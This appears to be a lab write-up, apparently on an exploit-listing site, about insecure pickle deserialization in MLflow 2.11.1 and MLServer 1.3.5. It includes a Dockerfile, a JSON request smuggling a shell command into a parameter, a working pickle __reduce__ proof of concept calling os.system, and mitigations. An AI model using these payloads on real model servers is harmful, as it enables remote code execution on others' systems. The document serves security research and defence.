Share
## https://sploitus.com/exploit?id=EE02C994-1234-5026-9897-8F7BF80050F5
Below is a structured, markdown-formatted vulnerability research report tailored for a GitHub repository layout (such as a `README.md` or a `security-labs` write-up). It outlines the context, architecture, reproduction steps, and remediation strategies based on your lab findings.

---

# CVE-2026-0596: Arbitrary Code Execution via Insecure Deserialization in MLflow Ecosystem

A comprehensive security research report detailing the verification, underlying mechanics, and architectural vulnerabilities associated with untrusted model loading pipelines within `mlflow==2.11.1` and `mlserver==1.3.5`.

---

## ๐Ÿ“‹ Executive Summary

This laboratory environment evaluates the runtime behavior of machine learning model-serving frameworks when parsing user-supplied input parameters and artifact metadata. While the API-facing parameter parsing boundaries of MLServer cleanly isolate raw string literals (preventing traditional operating system command injection via shell metacharacters), the underlying python runtime remains structurally vulnerable to **Insecure Deserialization** when ingesting legacy serialized object streams (`.pkl` / `pickle`).

* **Vulnerability Type:** Insecure Deserialization (CWE-502) / Arbitrary Code Execution
* **Impact:** Critical (Remote Code Execution within Container Context)
* **Affected Components:** Model ingestion, artifact download sub-systems, and `pickle`-based prediction backends.

---

## ๐Ÿ› ๏ธ Lab Architecture & Setup

The reproduction environment is containerized using Docker to isolate the operating system layer and simulate a production-grade machine learning model endpoint.

### 1. Docker Environment Configuration (`Dockerfile`)

```dockerfile
FROM python:3.10-slim

WORKDIR /app

# Install native system binaries
RUN apt-get update && apt-get install -y \
    curl \
    build-essential \
    && rm -rf /var/lib/apt/lists/*

# Pin specific framework versions for target tracking
RUN pip install --no-cache-dir \
    mlflow==2.11.1 \
    mlserver==1.3.5 \
    mlserver-mlflow==1.3.5

# Generate localized model configuration footprint
COPY generate_model.py /app/generate_model.py
RUN python /app/generate_model.py

EXPOSE 5000

```

### 2. Native Model Blueprint (`generate_model.py`)

```python
import mlflow
import mlflow.pyfunc
import os

class DummyModel(mlflow.pyfunc.PythonModel):
    def predict(self, context, model_input):
        return model_input

if __name__ == "__main__":
    model_path = "/app/saved_model"
    if not os.path.exists(model_path):
        mlflow.pyfunc.save_model(path=model_path, python_model=DummyModel())

```

---

## ๐Ÿ”ฌ Vulnerability Analysis & Verification

### Test Cycle A: API Parameter Injection Boundary (Passed)

Initial testing attempted to pass shell termination payload sequences (`; touch /tmp/poc_success_marker.txt #`) through the `params` payload array of the `/invocations` REST endpoint:

```json
{
  "dataframe_split": {
    "columns": ["machine_input"],
    "data": [["test_data"]]
  },
  "params": {
    "custom_runtime_param": "default_runtime; touch /tmp/poc_success_marker.txt #"
  }
}

```

**Result:** **Negative.** The framework treated the payload safely as an absolute, non-evaluated string literal. This confirms that the engine abstracts input variables directly into Python memory spaces rather than dynamically synthesizing system shell arguments via a raw command wrapper.

---

### Test Cycle B: Insecure Deserialization Hook (Exploited)

Because MLflow and MLServer ingest compiled Python objects, the core risk shifts from string evaluation to object graph reconstruction. Using a custom validation script, an execution trigger was embedded directly into a simulated model stream using Pythonโ€™s native magic optimization method (`__reduce__`).

#### 1. Exploit Vector Script (`trigger_native.py`)

```python
import os
import pickle

class ExploitModel:
    def __reduce__(self):
        # The __reduce__ method defines object reconstruction behaviors.
        # Returning os.system forces immediate runtime command execution during loading.
        return (os.system, ("touch /tmp/native_success_marker.txt",))

if __name__ == "__main__":
    payload_path = "vulnerable_model.pkl"
    
    # Serialize the code execution payload into a pseudo-model file
    with open(payload_path, "wb") as f:
        pickle.dump(ExploitModel(), f)
        
    # Simulate an application or model server unpickling the artifact
    with open(payload_path, "rb") as f:
        pickle.load(f)

```

#### 2. Execution & Payload Verification

The script was injected into the container sandbox environment to mimic the backend loading sequence:

```powershell
# Stage execution payload inside the sandbox
docker cp trigger_native.py mlflow_sandbox:/app/trigger_native.py

# Execute the deserialization routine
docker exec -it mlflow_sandbox python /app/trigger_native.py

```

#### 3. Verification Output

Querying the isolated temporary directory of the container confirmed arbitrary code execution occurred instantly during the object allocation loop:

```powershell
PS C:\Users\Sparsh Biswas\mlflow-security-lab> docker exec -it mlflow_sandbox ls -la /tmp/
total 8
drwxrwxrwt 1 root root 4096 May 18 10:31 .
drwxr-xr-x 1 root root 4096 May 18 10:31 ..
-rw-r--r-- 1 root root    0 May 18 10:31 native_success_marker.txt

```

---

## ๐Ÿง  Root Cause Mechanics

The issue stems from implicit trust in the model artifact storage layer. Standard Python `.pkl` / `pickle` files do not merely act as flat configuration records; they contain sequential bytecode instructions meant to reconstruct nested object properties.

When `pickle.load()` parses the dataset, it prioritizes the instruction stream given by the `__reduce__` hook. This redirects the target application to call native system binaries (`os.system`) directly in the shell environment before data type validation or machine learning inference calculations are ever initialized.

---

## ๐Ÿ›ก๏ธ Production Mitigation Strategies

### 1. Enforce Safe Deserialization Formats

Deprecate the use of legacy serialization layers (`pickle`, `joblib`, `marshal`) across all training and deployment pipelines. Replace them with structural, data-only constraints:

* **Safetensors (Recommended):** Restricts saved data exclusively to flat numeric arrays, completely stripping away the execution layer.
* **ONNX (Open Neural Network Exchange):** Enforces a static computation graph schema that prevents arbitrary runtime evaluation hooks.

### 2. Isolate and Sandboxing Runtimes

If your pipeline strictly requires legacy model configurations:

* Run the execution wrapper strictly under **non-root users** within the container (`USER 10001`).
* Mount file systems as **Read-Only** wherever applicable to block file creation attacks.
* Drop all container capabilities (`cap_drop: [ALL]`) and isolate the pod from networks containing sensitive metadata endpoints.